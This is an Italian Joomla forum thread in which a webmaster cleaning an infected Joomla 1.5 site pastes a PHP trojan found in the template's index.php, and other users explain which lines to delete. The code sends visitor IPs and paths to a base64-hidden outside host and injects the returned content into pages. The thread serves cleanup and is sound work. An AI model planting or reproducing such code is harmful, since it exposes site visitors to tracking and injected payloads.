Joomla.it Forum
Non solo Joomla... => Sicurezza => : Robertinos 29 Apr 2013, 13:20:52
-
Salve utenti,
ho preso in cura un sito web realizzato con Joomla 1.5.
Appena entro AVG lo blocca! Mi sono accorto che in sopra l'head c'è il seguente codice:
Rimosso
[i]
Credo sia questo il problema vero? Ho scansionato tutti i file ma non l'ho trovato!
Appena lo rimuovo effettuo l'aggiornamento alla 1.5.26...
Qualche suggerimento? :(
Grazie.[/i]
-
sempre il solito:
http://www.joomla.it/notizie/6983-la-vera-sicurezza-per-il-tuo-sito-joomla-e-il-tuo-atteggiamento.html
-
Lo so, ma l'ho preso in gestione già così.
Ho effettuato l'aggiornamento alla 1.5.26, ma ovviamente il problema è rimasto!
Lo script è comunque presente e non riesco a trovare il file che lo contiene.
:(
-
Ho fatto una scansione dei singoli file presenti nel dominio, ma non vi è nessuna traccia!
Ho fatto anche la stessa scansione nel db, ma niente!
Il file .htaccess è pulito!
Questo il dominio: fulvio frisone . com
Aprendo l'index del template (fatto totalmente da zero dal vecchio webmaster) ho trovato il seguente codice:
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
// This code use for global bot statistic
$sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); // Looks for google serch bot
$stCurlHandle = NULL;
$stCurlLink = "";
if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
{
if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create bot analitics
$stCurlLink = base64_decode( 'aHR0cDovL21icm93c2Vyc3RhdHMuY29tL3N0YXRFL3N0YXQucGhw').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
@$stCurlHandle = curl_init( $stCurlLink );
}
}
/*if ( $stCurlHandle !== NULL )
{
curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
$sResult = @curl_exec($stCurlHandle);
if ($sResult[0]=="O")
{$sResult[0]=" ";
echo $sResult; // Statistic code end
}
curl_close($stCurlHandle);
}*/
}
Appena l'ho rimosso è sparito lo script ad inizio pagina!
Posso rimuoverlo tutto, o solo l'ultimo IF?
Grazie.
-
Hai trovato lo stesso trojan che ho trovato anche io nell'index.php del mio template, devi eliminare
da:
<?php
if (!isset($sRetry))
{.....
a:
...curl_close($stCurlHandle);
}
}
?>
ed il trojan sparisce!! Poi segui i suggerimenti che ti hanno indicato.
-
Esatto!
Questa è la procedura che ho eseguito.
Grazie.
-
per crivere quella roba lì devi avere un buco grande come una casa... se non elimini quello hai voglia a togliere codice
-
Con 'quello' ti riferisci al codice nella index del template?